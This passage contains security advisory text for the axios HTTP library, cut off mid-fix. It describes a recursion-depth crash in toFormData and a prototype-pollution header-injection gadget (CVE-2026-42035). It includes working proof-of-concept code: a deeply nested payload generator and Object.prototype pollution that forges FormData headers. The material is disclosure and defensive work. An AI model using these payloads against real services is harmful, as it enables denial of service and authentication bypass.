toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.

Details

lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.

toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.

The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.

PoC
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';

function nest(depth) {
  let o = { leaf: 1 };
  for (let i = 0; i < depth; i++) o = { a: o };
  return o;
}

try {
  toFormData(nest(2500), new FormData());
} catch (e) {
  console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded

Server-side reachability example:

// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
  await axios.post('https://upstream/api', req.body); // req.body user-controlled
  res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes

Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.

Impact

A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

CVE-2026-42035 / GHSA-6chq-wfr3-2hj9

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js 
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
    headers.set(data.getHeaders());
    // ...
}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && ( 
        (kind = kindOf(thing)) === 'formdata' ||  
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders)
PoC
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    (.... Introduce here all the headers you want ....)
    return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };

// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete', 
    { userId: 42 },
    { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
Impact
  • Authentication Bypass (CVSS: C:H)
  • Session Fixation (CVSS: I:H)
  • Privilege Escalation (CVSS: C:H, I:H)
  • IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
-     headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils

> ✂ **Note**
> 
> PR body was truncated to here.

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